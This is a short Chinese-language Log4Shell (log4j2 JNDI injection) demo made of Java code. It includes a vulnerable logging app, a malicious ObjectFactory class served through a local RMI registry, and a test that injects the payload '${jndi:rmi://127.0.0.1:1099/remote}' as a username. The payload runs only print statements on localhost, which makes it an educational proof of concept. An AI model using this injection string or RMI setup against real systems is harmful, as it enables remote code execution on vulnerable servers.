log4j2漏洞介绍及demo

/**
 * 被攻击者应用程序
 */
public class App {

    private static Logger log = LogManager.getLogger(App.class);

    public void register(String username){
        //....
        log.error("{},注册了账号",username);
    }

}

/**
 * 攻击者
 */
public class Attack implements ObjectFactory {

    static {
        System.out.println("静态代码块攻击");
    }


    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("你被攻击了");
        return "【攻击者】";
    }
}

/**
 * 伪造资源服务
 */
public class Remote {

    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        // 1. 注册一个jndi 服务
        Registry registry = LocateRegistry.createRegistry(1099);

        Reference reference = new Reference("remote.Attack","remote.Attack",null);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

        registry.bind("remote",referenceWrapper);
        System.out.println("remote start.........");
    }

}

/**
 * 测试获取资源
 */
@Test
public void testJndi(){
    try {
        //这里由于我使用的是 jdk 181,jdk 版本大于 181，需要手动设置为 true
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        String uri = "rmi://127.0.0.1:1099/remote";
        InitialContext initialContext = new InitialContext();
        Object lookup = initialContext.lookup(uri);
        System.out.println(lookup);
    } catch (NamingException e) {
        e.printStackTrace();
    }
}

/**
 * 测试攻击
 */
@Test
public void testRegister(){
    //估计使用拼接的攻击代码
    String username = "${jndi:rmi://127.0.0.1:1099/remote}";

    App app = new App();
    app.register(username);

}